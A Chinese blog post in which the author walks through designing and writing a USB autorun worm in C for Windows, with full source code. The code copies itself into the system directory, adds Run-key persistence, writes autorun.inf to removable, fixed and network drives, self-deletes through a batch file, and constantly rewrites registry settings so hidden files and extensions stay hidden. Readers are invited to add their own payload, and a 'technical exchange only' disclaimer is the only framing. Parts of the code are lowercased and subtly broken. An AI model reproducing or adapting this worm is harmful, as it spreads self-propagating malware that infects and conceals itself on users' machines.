admin管理员组

文章数量:1559117

学了汇编有一段时间了,觉得还是c语言比较好玩。今天就复习一下吧。我除了对远程控制木马比较了解外,对u盘病毒类型也蛮熟悉的(╮(╯▽╰)╭ 被学校机房里的电脑逼的...)u盘病毒有很多种,我就设计其中一种在我们学校机房最常见的吧~(远控难度太高了...)
     u盘病毒有个特性就是利用u盘进行传播(废话...),它会在u盘根目录里建立一个名为 autorun.inf 的文件。为什么要建立这个文件呢。 
        autorun.inf 其作用是允许在双击磁盘时自动运行指定的某个文件,是从windows95开始的,最初用在其安装盘里,实现自动安装,以后的各版本都保留了该文件并且部分内容也可用于其他存储设备。一般光盘都会有这个文件,插入光驱内,计算机会自动执行 autorun.inf 指定的文件。原本只是为了方便而设计的。后来被一些骇客利用这个特性,在移动磁盘目录中放入病毒程序,建立autorun.inf 使其指向病毒程序。这样就达到,一双击u盘就执行里面的病毒程序,从而达到传播的目的。
         u盘病毒建立autorun.inf  的内容是:
 [autorun]
 open=病毒程序的名字
 shellopen=打开(&o)
 shellopencommand=病毒程序的名字
 shellopendefault=1
 shellexplore=资源管理器(&x)
 shellexplorecommand=病毒程序的名字
 这样就能实现 无论用户双击打开u盘还是右击 用资源管理器打开 还是一样会执行u盘里面的病毒程序
 
    我想想,中了u盘病毒后的症状
 1、无法显示隐藏属性的文件还有扩展名,手动更改【文件夹选项】 中的 【 隐藏受保护的操作系统文件(推荐)】、【显示所有文件夹】、【隐藏已知类型的扩展名】这三个选项,会被马上改回去...
 2、感染系统文件夹 
3、感染u盘和硬盘其他分区 (根目录都有相同名字的autorun.inf  和 exe程序 都是隐藏属性)
 4、自删除
 5、主要目的模块(我当时还不知道它 最终目的是想干嘛)
 
那么u盘病毒大概有1,感染模块 2,自删除模块3,实时监控u盘模块 4,实时修改注册表隐藏系统文件、扩展名模块  5、主要目的模块 

基本设计思路是:执行后,自复制到系统、u盘、硬盘各分区(感染)后调用系统目录中的病毒,然后自删除。
                             系统目录中的病毒被执行后,实时监控用户u盘是否被插入,实时修改注册表达到隐藏自己的目的。然后执行真正想做的事,例如下载一些其他病毒啊,或者破坏文件啊等...
 
感染前的执行顺序是:感染系统模块 => 执行系统目录中的病毒 => 退出自删除 

感染后的执行顺序是:
 
                                                 | -  实时监控u盘      (有u盘则感染,无则进行监控)
 系统目录中的病毒被执行后 => | -  实时修改注册表 (监控注册表是否被修改,修改则改回来)     
                                                  | -  最终目的模块     (一些见不得人的事)
 

分析完毕。先写感染模块吧,考虑到u盘病毒会感染u盘 也会感染系统 所以要有两种感染模式,在写感染模块前先写判断感染的条件
 
编译环境 vc6.0 

1,感染模块
 声明两个全局变量 (代码长的时候 不建议使用全局变量)
 char filedirsystem[max_path];  //用来保存系统文件夹中的病毒程序
 char filename[max_path]; // 用来保存 自身路径
 
感染条件
 getmodulefilename(null,filename,max_path);   // 获取自身路径
 getsystemdirectory(filedirsystem,max_path);    // 获取系统目录
 strcat(filedirsystem,"\\snss.exe");       //  snss.exe 是病毒程序名字 

if (strcmp(filedirsystem,filename))     // 不在系统目录则进行感染
   ganran(1);    //
 else  // 是系统目录则不进行感染 做其他的事情
 
}
 
/********************************************************/
 //  感染模块
 /********************************************************/
 int ganran(int i)
 {
 if (i)   //  感染系统
 {
   copyfile(filename,filedirsystem,false); // 覆盖性自复制至系统目录 
  setfileattributes(filedirsystem,file_attribute_hidden);
   hkey regkey;
    // 开机自启动
   regopenkeyex(hkey_local_machine, "software\\microsoft\\windows\\currentversion\\run",
    0, key_all_access, &regkey);
   regsetvalueex(regkey, "ctfmonn", 0, reg_sz, (const byte *)&filedirsystem, max_path);
   regclosekey(regkey);
   regopenkeyex(hkey_current_user, "software\\microsoft\\windows\\currentversion\\run",
    0, key_all_access, &regkey);
   regsetvalueex(regkey, "ctfmonn", 0, reg_sz, (const byte *)&filedirsystem, max_path);
   regclosekey(regkey);
   shellexecute(null,"open",filedirsystem,0,0,sw_hide);   // 执行
   del(); // 自残
   return 1;
 }
 else // 感染u盘
 {
   strcat(filename,"test.exe");
   file *fp;  
   if ((fp=fopen(filename,"r"))!=null) // 检测病毒是否存在 避免重复感染
   {
    fclose(fp);
    return 1;
   }
   copyfile(filedirsystem,filename,false); // 将自身覆盖性复制到u盘
   setfileattributes(filename,file_attribute_hidden|file_attribute_readonly|file_attribute_system);
   filename[2]='\0';
   strcat(filename,"\\autorun.inf");
   if ((fp=fopen(filename,"w "))!=null)  // 写入autorun.inf文件
   {
       fputs("[autorun]\n",fp);
    fputs("open=test.exe\n",fp);
     fputs("shell\open=打开(&o)\n",fp);
     fputs("shell\open\command=test.exe\n",fp);
    fputs("shell\open\default=1\n",fp);
    fputs("shell\explore=资源管理器(&x)\n",fp);
    fputs("shell\explore\command=test.exe",fp);
    fclose(fp);
    setfileattributes(filename,file_attribute_hidden|file_attribute_readonly|file_attribute_system);
   }
   else // 无法写入则返回 要么有读锁,要么已经被免疫
    return 1;
 }
 }
 
好的,感染模块写好了,感染完了然后当然就是自我消失啦
 2,自删除 (用批处理来删除自己 这个是最常用的方法 360也是用这种方法删除卸载后残留的文件)
 /********************************************************/
 //  自删除功能   
 /********************************************************/
 void del()
 {
 file *fp;
 fp=fopen("c:\\system.bat","w ");
 fprintf(fp,"@echo off \n");
 fprintf(fp,":statr\nif not exist \"%s\" goto done\n",filename);
 fprintf(fp,"del /f /q \"%s\" \n",filename);
 fprintf(fp,"goto statr\n");
 fprintf(fp,":done\n");
 fprintf(fp,"del /f /q %%0\n");
 fclose(fp);
 shellexecute(null,"open","c:\\system.bat",0,0,sw_hide); 
}
 
接下来是实时监控用户有没有插u盘 既然是实时的 那就用线程函数 
3,实时监控u盘模块(线程函数) 一旦发现用户插入u盘 立即进行感染
 /********************************************************/
 //  实时监控u盘,发现u盘立即进行感染
 /********************************************************/
 void winapi scandisk()  // 实时监控u盘   usb 盯死你
 {
 char szdrivername[max_path];
 do 
{
   strcpy(szdrivername, "c:\0");
 
  sleep(1000); // 每秒监控一次  避免太消耗系统资源 
  for( szdrivername[0] = 'c'; szdrivername[0] < 'z'; szdrivername[0] )
   {
    // 感染 移动磁盘、固定磁盘、网络磁盘  管你哪种类型的盘 只要可写 都有份 别急
    if( getdrivetype( szdrivername ) == drive_removable || getdrivetype( szdrivername ) == drive_fixed || getdrivetype( szdrivername ) == drive_remote) 
   {
      strcpy(filename,szdrivername);     
      ganran(0);  // 感染u盘模式
   }
 } while (1);
 }
 
接下来是防止用户看到我们的文件 实时修改注册表项 达到用户无论怎么设置【文件夹选项】都无法显示隐藏的文件、扩展名
 4,实时修改注册表隐藏系统文件、扩展名模块 (为了方便,不检查了直接修改)
 /********************************************************/
 //  修改注册表   想找我 窗户都没有 更别说门了
 /********************************************************/
 void winapi scanrege()  // 实时修改注册表
 {
 hkey regkey;
 dword tmp1 = 1; // 扩展名 1隐藏  0显示
 dword tmp2 = 2;  //hidden 2 隐藏   1 显示隐藏文件
 dword tmp0 = 0;  //showsuperhidden 0 隐藏  1显示
 do 
{  
   regopenkeyex(hkey_local_machine, "software\\microsoft\\windows\\currentversion\\explorer\\advanced\\folder\\hidden\\showall",
    0, key_all_access, &regkey);
   regsetvalueex(regkey, "checkedvalue", 0, reg_dword, (const byte *)&tmp1, sizeof(tmp1)); 
  regclosekey( regkey );
   
   regopenkeyex(hkey_current_user, "software\\microsoft\\windows\\currentversion\\explorer\\advanced",
    0, key_all_access, &regkey);
   regsetvalueex(regkey, "hidden", 0, reg_dword, (const byte *)&tmp2, sizeof(tmp2));     // 隐藏文件
   regsetvalueex(regkey, "showsuperhidden", 0, reg_dword, (const byte *)&tmp0, sizeof(tmp0));// 隐藏受保护系统文件
   regsetvalueex(regkey, "hidefileext", 0, reg_dword, (const byte *)&tmp1, sizeof(tmp1));// 隐藏扩展名
   regclosekey( regkey );
   
 } while (1);
 }
 
关键的写完了 至于最后一个 最终目的模块 就不写了 .. 大家可以发挥自己的想象  想干嘛就干嘛哈
 
下面是根据病毒执行顺序 组合出完整的代码
 

本帖隐藏的内容
#include
 #include
 void del();  //自删除
 int ganran(int i);    // 感染模块
 void winapi scandisk();  // 实时监控u盘
 void winapi scanrege();  // 实时修改注册表
 void winapi root();   // 你可以在这里添加一些恶搞代码 留来扩展用 声明为线程函数
 char filedirsystem[max_path];  // 源病毒体所在位置
 char filename[max_path]; // 用来保存 自身路径
   
 int apientry winmain(hinstance hinstance,
                      hinstance hprevinstance,
                      lpstr     lpcmdline,
                      int       ncmdshow)
 {
 //
 // 让启动程序时的小漏斗马上消失
 getinputstate();
 postthreadmessage(getcurrentthreadid(),null,0,0);
 msg msg;
 getmessage(&msg, null, null, null);
 //
 getmodulefilename(null,filename,max_path);
 getsystemdirectory(filedirsystem,max_path);
 strcat(filedirsystem,"\\snss.exe");    
if (strcmp(filedirsystem,filename))     // 不在系统目录则进行感染
   ganran(1);
 else
 {
   // 创建一条线程用于修改 显示隐藏系统文件、扩展名的选项 
  // 看你怎么找到我  嘿嘿
    createthread(null,null,(lpthread_start_routine)scanrege,null,null,null);
   // 创建一条线程用于实时监控u盘
   // 来一个u盘 就得带点东西走
   createthread(null,null,(lpthread_start_routine)scandisk,null,null,null);
   // 为避免代码出了问题 影响整个程序的运行 用子线程来去完成自己diy的功能吧 
  createthread(null,null,(lpthread_start_routine)root,null,null,null);
 
// 原本的 主线程应该是要达到 病毒设计者的目的吧    ╮(╯▽╰)╭ 没办法 谁叫我善良呢 
  sleep(999999999); // 主线程进入睡眠状态 累了 是该好好休息啦 
  sleep(999999999);
   sleep(999999999); // 弄多几个 嘿嘿
   
 }
 return 0;
 }
 /********************************************************/
 //  你想干什么都可以在这里添加代码 自己看着办哈
 /********************************************************/
 void winapi root()
 {
 do 

  sleep(10000); // 没事干 每隔10 秒 震动一下窗口 吓唬吓唬他们
   hwnd forehandle=getforegroundwindow(); 
  for(int i=0;i<15;i )
   {
    rect rc;
    getwindowrect(forehandle,&rc);
    movewindow(forehandle,rc.left 8,rc.top 8,rc.right-rc.left,rc.bottom-rc.top,1);
    sleep(40);
    movewindow(forehandle,rc.left,rc.top,rc.right-rc.left,rc.bottom-rc.top,1);
    sleep(40);
    beep(0x0fff,10);
   }
 } while (1);
 }
 
/********************************************************/
 //  感染模块
 /********************************************************/
 int ganran(int i)
 {
 if (i)   //  感染系统
 {
   copyfile(filename,filedirsystem,false); // 覆盖性自复制至系统目录 
  setfileattributes(filedirsystem,file_attribute_hidden);
   hkey regkey;
    // 开机自启动
   regopenkeyex(hkey_local_machine, "software\\microsoft\\windows\\currentversion\\run",
    0, key_all_access, &regkey);
   regsetvalueex(regkey, "ctfmonn", 0, reg_sz, (const byte *)&filedirsystem, max_path);
   regclosekey(regkey);
   regopenkeyex(hkey_current_user, "software\\microsoft\\windows\\currentversion\\run",
    0, key_all_access, &regkey);
   regsetvalueex(regkey, "ctfmonn", 0, reg_sz, (const byte *)&filedirsystem, max_path);
   regclosekey(regkey);
   shellexecute(null,"open",filedirsystem,0,0,sw_hide);   // 执行
   del(); // 自残
   return 1;
 }
 else // 感染u盘
 {
   strcat(filename,"test.exe");
   file *fp;  
   if ((fp=fopen(filename,"r"))!=null) // 检测病毒是否存在 避免重复感染
   {
    fclose(fp);
    return 1;
   }
   copyfile(filedirsystem,filename,false); // 将自身覆盖性复制到u盘
   setfileattributes(filename,file_attribute_hidden|file_attribute_readonly|file_attribute_system);
   filename[2]='\0';
   strcat(filename,"\\autorun.inf");
   if ((fp=fopen(filename,"w "))!=null)  // 写入autorun.inf文件
   {
       fputs("[autorun]\n",fp);
    fputs("open=test.exe\n",fp);
     fputs("shell\open=打开(&o)\n",fp);
     fputs("shell\open\command=test.exe\n",fp);
    fputs("shell\open\default=1\n",fp);
    fputs("shell\explore=资源管理器(&x)\n",fp);
    fputs("shell\explore\command=test.exe",fp);
    fclose(fp);
    setfileattributes(filename,file_attribute_hidden|file_attribute_readonly|file_attribute_system);
   }
   else // 无法写入则返回 要么有读锁,要么已经被免疫
    return 1;
 }
 }
 /********************************************************/
 //  自删除功能   
 /********************************************************/
 void del()
 {
 file *fp;
 fp=fopen("c:\\system.bat","w ");
 fprintf(fp,"@echo off \n");
 fprintf(fp,":statr\nif not exist \"%s\" goto done\n",filename);
 fprintf(fp,"del /f /q \"%s\" \n",filename);
 fprintf(fp,"goto statr\n");
 fprintf(fp,":done\n");
 fprintf(fp,"del /f /q %%0\n");
 fclose(fp);
 shellexecute(null,"open","c:\\system.bat",0,0,sw_hide); 
}
 /********************************************************/
 //  修改注册表   想找我 窗户都没有 更别说门了
 /********************************************************/
 void winapi scanrege()  // 实时修改注册表
 {
 hkey regkey;
 dword tmp1 = 1; // 扩展名 1隐藏  0显示
 dword tmp2 = 2;  //hidden 2 隐藏   1 显示隐藏文件
 dword tmp0 = 0;  //showsuperhidden 0 隐藏  1显示
 do 
{  
   regopenkeyex(hkey_local_machine, "software\\microsoft\\windows\\currentversion\\explorer\\advanced\\folder\\hidden\\showall",
    0, key_all_access, &regkey);
   regsetvalueex(regkey, "checkedvalue", 0, reg_dword, (const byte *)&tmp1, sizeof(tmp1));
   regclosekey( regkey );
   
   regopenkeyex(hkey_current_user, "software\\microsoft\\windows\\currentversion\\explorer\\advanced",
    0, key_all_access, &regkey);
   regsetvalueex(regkey, "hidden", 0, reg_dword, (const byte *)&tmp2, sizeof(tmp2)); 
  regsetvalueex(regkey, "showsuperhidden", 0, reg_dword, (const byte *)&tmp0, sizeof(tmp0));
   regsetvalueex(regkey, "hidefileext", 0, reg_dword, (const byte *)&tmp1, sizeof(tmp1));
   regclosekey( regkey );
   
 } while (1);
 }
 /********************************************************/
 //  实时监控u盘,发现u盘立即进行感染
 /********************************************************/
 void winapi scandisk()  // 实时监控u盘   usb 盯死你
 {
 char szdrivername[max_path];
 do 
{
   strcpy(szdrivername, "c:\0");
 
  sleep(1000); // 每秒监控一次  避免太消耗系统资源 
  for( szdrivername[0] = 'c'; szdrivername[0] < 'z'; szdrivername[0] )
   {
    // 感染 移动磁盘、固定磁盘、网络磁盘  管你哪种类型的盘 只要可写 都有份 别急
    if( getdrivetype( szdrivername ) == drive_removable || getdrivetype( szdrivername ) == drive_fixed || getdrivetype( szdrivername ) == drive_remote) 
   {
      strcpy(filename,szdrivername);     
      ganran(0); 
   }
   }
 } while (1);
   
 }
 

注意哈,印象中,貌似微软发布了一个可以彻底废除系统 自动播放(autorun.inf )的补丁,而且很多杀软都可以建立一个特殊的autorun.inf 文件夹,由于文件名不允许相同 所以u盘病毒无法创建相同名字的autorun.inf 文件,该文件夹用普通的方法是无法删除的。(其实,这种免疫方式不怎么样。如果不是因为微软封杀,我也会写出专门删除这种类型的文件夹模块)
 连微软都出手了,由此可见u盘病毒的危害有多大了。遭微软这种封杀,估计利用 autorun.inf 方式传播将会成为历史了...
 
还有,大家写函数的时候别学我哈,不然就会头疼咯...尽量让那些函数独立起来,函数要处理的数据就用参数传进去,结果就返回。
 
只为技术交流哈,由运行此程序所带来的一切不良后果本人概不负责

 

 

本文标签: